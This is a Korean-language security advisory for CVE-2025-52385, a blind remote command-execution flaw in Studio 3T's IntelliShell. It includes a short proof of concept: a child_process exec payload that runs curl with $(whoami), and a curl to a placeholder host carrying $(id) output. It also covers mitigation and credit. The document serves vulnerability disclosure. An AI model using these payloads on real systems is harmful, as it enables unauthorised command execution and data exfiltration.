CVE-2025-52385

소프트웨어: Studio 3T v.2025.1.0

취약점 보고서: Studio 3T 원격 명령 실행

개요 Studio 3T 버전 2025.1.0 및 이전 버전의 심각한 취약점으로 인해 원격 공격자가 IntelliShell 구성 요소의 child_process 모듈을 악용하는 조작된 페이로드를 통해 임의 코드를 실행할 수 있습니다.

세부 정보 취약점 유형: 원격 명령 실행 영향받는 제품: Studio 3T, 버전 <= 2025.1.0 영향받는 구성 요소: IntelliShell 공격 유형: 원격 영향: 코드 실행: 예 서비스 거부: 예 권한 상승: 예

설명 이 취약점을 통해 원격 공격자는 child_process 모듈을 활용하여 IntelliShell을 통해 악성 JavaScript 페이로드를 전송함으로써 임의의 운영 체제 명령을 실행할 수 있습니다. 이는 블라인드 실행 취약점으로, 공격자에게 직접적인 출력이 반환되지 않습니다.

공격 벡터

MongoDB 인스턴스에 연결을 설정합니다. IntelliShell을 통해 child_process 모듈을 활용하여 임의의 운영 체제 명령을 실행하는 악성 JavaScript 페이로드를 전송합니다.

개념 증명 취약점을 확인하려면 다음 단계를 따르십시오:

로컬 HTTP 서버를 설정하십시오:python3 -m http.server 80

IntelliShell에서 다음 JavaScript 페이로드를 실행하십시오: const {exec} = require('child_process'); exec('curl 127.0.0.1/$(whoami)', (error, stdout, stderr) => console.log(stdout));

또는 아래 명령을 확인 벡터로 사용하십시오:curl http://site/$(id)

참고 자료

Studio 3T 공식 웹사이트

Studio 3T GitHub 저장소

CWE-78: OS Command Injection

CWE-94: Code Injection

완화 방법 사용자: 패치된 버전의 Studio 3T로 업그레이드하거나(가능한 경우) 신뢰할 수 없는 MongoDB 연결에서 IntelliShell을 사용하지 마십시오. 공급업체: IntelliShell의 child_process 모듈에 대한 입력을 제한하거나 삭제하여 무단 명령 실행을 방지하십시오.

감사의 말 이 취약점은 Kaio Mendonca Pereira에 의해 발견 및 보고되었습니다.